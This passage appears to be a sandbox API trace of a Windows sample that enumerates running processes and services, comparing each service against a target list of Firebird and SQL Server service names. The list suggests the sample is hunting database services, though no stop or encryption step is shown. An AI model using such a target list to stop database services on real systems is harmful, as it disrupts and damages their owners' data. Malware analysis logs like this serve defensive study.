	[0083.128] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0083.129] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0083.130] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0083.130] lstrlenW (lpString="omnipos.exe") returned 11
	[0083.130] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0083.131] lstrlenW (lpString="spcwin.exe") returned 10
	[0083.131] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0083.132] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0083.132] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0083.132] lstrlenW (lpString="utg2.exe") returned 8
	[0083.133] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0083.133] lstrlenW (lpString="explicit.exe") returned 12
	[0083.133] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0083.134] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0083.134] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0083.134] lstrlenW (lpString="taskhostw.exe") returned 13
	[0083.135] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0083.135] lstrlenW (lpString="UsoClient.exe") returned 13
	[0083.135] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0083.136] lstrlenW (lpString="taskhostw.exe") returned 13
	[0083.136] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0083.137] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0083.137] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0083.138] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0083.138] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0083.138] lstrlenW (lpString="conhost.exe") returned 11
	[0083.138] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0083.139] lstrlenW (lpString="conhost.exe") returned 11
	[0083.139] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.140] lstrlenW (lpString="svchost.exe") returned 11
	[0083.140] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0083.140] lstrlenW (lpString="fvppjh.exe") returned 10
	[0083.140] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.141] lstrlenW (lpString="svchost.exe") returned 11
	[0083.141] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0083.141] lstrlenW (lpString="cmd.exe") returned 7
	[0083.141] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0083.142] lstrlenW (lpString="conhost.exe") returned 11
	[0083.142] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0083.143] lstrlenW (lpString="dllhost.exe") returned 11
	[0083.143] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0083.143] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0083.143] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0083.144] lstrlenW (lpString="mode.com") returned 8
	[0083.144] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0083.145] lstrlenW (lpString="LogonUI.exe") returned 11
	[0083.145] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0083.146] CloseHandle (hObject=0x388) returned 1
	[0083.146] Sleep (dwMilliseconds=0x1f4) 
	[0083.797] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75ec28
	[0083.797] EnumServicesStatusExW (in: hSCManager=0x75ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0083.798] GetLastError () returned 0xea
	[0083.798] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1d6a) returned 0x785c00
	[0083.798] EnumServicesStatusExW (in: hSCManager=0x75ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x785c00, cbBufSize=0x1d6a, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x785c00, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0083.799] CloseServiceHandle (hSCObject=0x75ec28) returned 1
	[0083.799] lstrlenW (lpString="Appinfo") returned 7
	[0083.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0083.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0083.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0083.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0083.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0083.799] lstrlenW (lpString="AppXSvc") returned 7
	[0083.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0083.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0083.799] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0083.799] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0083.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0083.799] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0083.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0083.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0083.799] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0083.799] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0083.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0083.799] lstrlenW (lpString="Audiosrv") returned 8
	[0083.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0083.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0083.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0083.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0083.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0083.799] lstrlenW (lpString="BFE") returned 3
	[0083.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0083.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0083.800] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0083.800] lstrlenW (lpString="BITS") returned 4
	[0083.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0083.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0083.800] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0083.800] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0083.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0083.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0083.800] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0083.800] lstrlenW (lpString="CDPSvc") returned 6
	[0083.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0083.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0083.800] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0083.800] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0083.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0083.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0083.800] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0083.800] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0083.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0083.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0083.800] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0083.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0083.800] lstrlenW (lpString="CryptSvc") returned 8
	[0083.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0083.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0083.801] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0083.801] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0083.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0083.801] lstrlenW (lpString="DcomLaunch") returned 10
	[0083.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0083.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0083.801] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0083.801] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0083.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0083.801] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0083.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0083.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0083.801] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0083.801] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0083.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0083.801] lstrlenW (lpString="Dhcp") returned 4
	[0083.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0083.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0083.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0083.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0083.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0083.801] lstrlenW (lpString="Dnscache") returned 8
	[0083.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0083.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0083.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0083.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0083.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0083.802] lstrlenW (lpString="DoSvc") returned 5
	[0083.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0083.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0083.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0083.802] lstrlenW (lpString="DPS") returned 3
	[0083.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0083.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0083.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0083.802] lstrlenW (lpString="DusmSvc") returned 7
	[0083.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0083.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0083.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0083.802] lstrlenW (lpString="EventLog") returned 8
	[0083.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0083.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0083.802] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0083.802] lstrlenW (lpString="EventSystem") returned 11
	[0083.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0083.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0083.802] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0083.802] lstrlenW (lpString="FontCache") returned 9
	[0083.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0083.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0083.802] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0083.802] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0083.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0083.803] lstrlenW (lpString="gpsvc") returned 5
	[0083.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0083.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0083.803] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0083.803] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0083.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0083.803] lstrlenW (lpString="iphlpsvc") returned 8
	[0083.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0083.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0083.803] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0083.803] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0083.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0083.803] lstrlenW (lpString="KeyIso") returned 6
	[0083.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0083.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0083.803] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0083.803] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0083.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0083.803] lstrlenW (lpString="LanmanServer") returned 12
	[0083.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0083.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0083.803] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0083.803] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0083.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0083.803] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0083.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0083.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0083.803] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0083.803] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0083.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0083.803] lstrlenW (lpString="lfsvc") returned 5
	[0083.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0083.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0083.803] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0083.803] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0083.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0083.803] lstrlenW (lpString="lmhosts") returned 7
	[0083.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0083.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0083.804] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0083.804] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0083.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0083.804] lstrlenW (lpString="LSM") returned 3
	[0083.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0083.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0083.804] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0083.804] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0083.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0083.804] lstrlenW (lpString="MapsBroker") returned 10
	[0083.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0083.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0083.804] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0083.804] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0083.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0083.804] lstrlenW (lpString="MpsSvc") returned 6
	[0083.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0083.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0083.804] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0083.804] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0083.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0083.804] lstrlenW (lpString="NcbService") returned 10
	[0083.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0083.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0083.804] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0083.804] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0083.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0083.804] lstrlenW (lpString="netprofm") returned 8
	[0083.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0083.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0083.804] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0083.804] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0083.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0083.805] lstrlenW (lpString="NlaSvc") returned 6
	[0083.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0083.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
